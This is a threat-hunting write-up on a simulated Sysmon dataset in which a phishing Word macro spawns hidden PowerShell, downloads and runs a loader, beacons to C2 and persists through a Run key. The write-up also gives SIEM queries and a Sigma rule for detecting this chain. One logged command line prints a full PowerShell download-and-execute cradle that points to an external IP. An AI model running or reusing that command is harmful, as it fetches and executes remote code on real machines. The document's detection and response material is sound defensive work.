Threat Hunting Exercise: Analyzing Malicious Office Macro WinWord Child Process Dataset

Returning to endpoint telemetry for one of the oldest and still most common initial-access vectors: a simulated Sysmon dataset (office_macro_winword_child_2022-02-14T103000.json) capturing T1204.002: User Execution - Malicious File and T1059.005: Command and Scripting Interpreter - Visual Basic, where a phishing attachment's VBA macro spawns a living-off-the-land binary chain to download and execute a second-stage payload.

Step 1: Hypothesis Formation

Hypothesis: A user opens a phishing-delivered Word document, enables macros (often via a social-engineering lure image), and the embedded VBA macro spawns cmd.exe/wscript.exe/mshta.exe as a child of WINWORD.EXE - a parent-child relationship that essentially never occurs legitimately - to download and execute a payload. Indicators:

Sysmon Event 1: WINWORD.EXE as ParentImage of cmd.exe, powershell.exe, wscript.exe, mshta.exe, or certutil.exe.
Sysmon Event 3: Network connection from the spawned child process to an external IP/domain shortly after.
Sysmon Event 11: File creation in %TEMP% or %APPDATA% matching a downloaded payload.
Security 4688 corroborating the process chain with command-line arguments revealing obfuscated download logic.

Null Hypothesis: Legitimate macro-enabled business workflow (e.g., a finance macro that shells out to run a batch report). Invalidate via destination reputation of any network connection, obfuscation in the command line, and the specific WINWORD→shell-interpreter parent-child pattern occurring on a document received via external email rather than an internal, known-good template.

Rationale: This is the "beginning of the chain" complement to the ISO/LNK proxy-download hunt earlier in this series - same initial-access goal (user-triggered execution), different delivery mechanism (macro vs. container file), and it demonstrates why the WINWORD-spawns-shell parent-child signature remains one of the highest-value, lowest-false-positive endpoint detections available.

Step 2: Data Sources and Scope

Sources: Sysmon (1 proc create, 3 net connect, 11 file create); Security (4688 cmdline); email gateway logs for the originating attachment if available.
Scope: ~2022-02-14T10:30:00-10:31:15 UTC; Host: WORKSTATION22.theshire.local; User: mgarcia; Attachment: Q1_Invoice_Details.docm.
SIEM Queries (Splunk/ELK):
Parent-child: index=sysmon EventID=1 ParentImage="WINWORD.EXE" Image IN ("cmd.exe","powershell.exe","wscript.exe","mshta.exe","certutil.exe")
Net follow-on: index=sysmon EventID=3 | join ProcessGuid [search EventID=1 ParentImage="*WINWORD.EXE"]
Cmdline obfuscation: index=security EventID=4688 ParentProcessName="WINWORD.EXE" CommandLine="FromBase64String" OR CommandLine="-enc" OR CommandLine=".hta*"

Step 3: Key Findings

Parsed events (9 shown) trace the full macro-to-payload chain, from document open to a second-stage binary executing and establishing C2.

Timestamp (UTC)	Event ID	Channel/Source	Key Details	IOC/Why Suspicious?
2022-02-14 10:30:00	11 (File Create)	Sysmon	Image=outlook.exe; TargetFilename=C:\Users\mgarcia\AppData\Local\Temp\Q1_Invoice_Details.docm (Mark-of-the-Web set).	Attachment saved to disk from email - MOTW present, meaning Protected View should have triggered on open.
2022-02-14 10:30:15	1 (Proc Create)	Sysmon	Image=WINWORD.EXE; CommandLine="WINWORD.EXE /n C:\Users\mgarcia\...\Q1_Invoice_Details.docm"; User=mgarcia.	Document opened; benign so far, but sets up the vulnerable parent process.
2022-02-14 10:30:40	1 (Proc Create)	Sysmon	Image=cmd.exe; ParentImage=WINWORD.EXE; CommandLine="cmd.exe /c powershell -w hidden -nop -c \"IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.61/p.ps1')\"".	Core IOC: WINWORD.EXE spawning cmd.exe spawning hidden PowerShell - the canonical macro-execution fingerprint; Protected View was likely dismissed by the user via a "Enable Content" social-engineering lure.
2022-02-14 10:30:41	3 (Net Connect)	Sysmon	Image=powershell.exe; DestinationIp=185.220.101.61; DestinationPort=80.	Delivery IOC: PowerShell fetches the second-stage script immediately after spawn - no delay, fully automated macro logic.
2022-02-14 10:30:42	11 (File Create)	Sysmon	Image=powershell.exe; TargetFilename=C:\Users\mgarcia\AppData\Local\Temp\svchost_update.exe.	Second-stage binary dropped to disk under a system-process-mimicking filename.
2022-02-14 10:30:43	1 (Proc Create)	Sysmon	Image=C:\Users\mgarcia\AppData\Local\Temp\svchost_update.exe; ParentImage=powershell.exe.	Execution IOC: Dropped binary executed - likely a loader/RAT (e.g., a QakBot/IcedID-style banking-trojan loader given the macro-delivery pattern).
2022-02-14 10:30:50	3 (Net Connect)	Sysmon	Image=svchost_update.exe; DestinationIp=185.220.101.61; DestinationPort=443; recurring every ~55s thereafter.	C2 IOC: Regular-interval outbound HTTPS from the dropped binary - matches the jittered-beacon pattern from the earlier firewall C2 hunt in this series, now attributed to a specific process.
2022-02-14 10:31:00	4688 (Proc Create)	Security	NewProcessName=cmd.exe; ParentProcessName=WINWORD.EXE; SubjectUserName=mgarcia; Token: %%1936.	Security log corroboration of the initial macro-spawn event, confirming user context.
2022-02-14 10:31:15	13 (Reg Set)	Sysmon	Image=svchost_update.exe; sets HKCU\...\Run\WindowsUpdateSvc = "C:\Users\mgarcia\...\svchost_update.exe".	Persistence IOC: Dropped binary establishes Run-key persistence - same technique family as the earlier Empire Run-key hunt, now via a macro-delivered commodity loader rather than a manual C2 framework.

Validation:

Timeline: Document open → macro-spawned shell → download → drop → execute → beacon → persist, all within 75 seconds of the user enabling content.
False Positives: No legitimate finance/business macro at theshire.local shells out to cmd.exe/powershell.exe to reach an external IP - internal macro-enabled workflows are documented and use only internal file-share paths.
Correlation: The beacon interval and destination IP match indicators from the earlier Firewall C2 Beaconing hunt in this series (185.220.101.x range), suggesting either the same campaign infrastructure or shared bulletproof hosting.

Step 4: Recommendations & Next Steps

Response: Isolate WORKSTATION22; kill svchost_update.exe and remove the Run-key entry; block 185.220.101.61 at the firewall/proxy; retrieve and analyze the original .docm attachment (submit macro source for signature development); notify mgarcia's manager and check for lateral phishing (the account may now be used to send further lures internally).
Detection: Sigma: title: Office Application Spawns Command Shell → selection: ParentImage endswith 'WINWORD.EXE' Image endswith ('cmd.exe','powershell.exe','wscript.exe','mshta.exe') - this should be a near-zero-false-positive, always-on detection, not a hunt-only finding.
Pro Tip: Disable VBA macros from the internet by default via GPO/Intune (Block macros from running in Office files from the Internet) - this single control would have prevented this entire chain regardless of user behavior.

Hypothesis confirmed - phishing macro leading to a persistent, beaconing commodity loader! The WINWORD-spawns-shell fingerprint made initial detection trivial; the real value was tracing forward to persistence and correlating the C2 infrastructure with an earlier hunt in this series.